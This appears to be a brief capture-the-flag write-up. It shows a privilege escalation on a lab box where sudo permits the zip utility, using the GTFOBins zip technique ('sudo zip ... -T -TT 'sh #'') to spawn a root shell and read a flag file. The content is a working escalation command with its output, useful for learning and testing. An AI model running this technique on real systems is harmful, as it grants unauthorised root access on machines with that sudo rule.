Privilege Excalation

Table of contents

• gtfobins

gtfobins

https://gtfobins.github.io/gtfobins/zip/#sudo

jeanpaul@dev:~$ TF=$(mktemp -u)
jeanpaul@dev:~$ sudo zip $TF /etc/hosts -T -TT 'sh #'
  adding: etc/hosts (deflated 31%)
# id
uid=0(root) gid=0(root) groups=0(root)
# ls
flag.txt 
# cat flag.txt  
Congratz on rooting this box !

WE GOT ROOT & FLAG!!!

---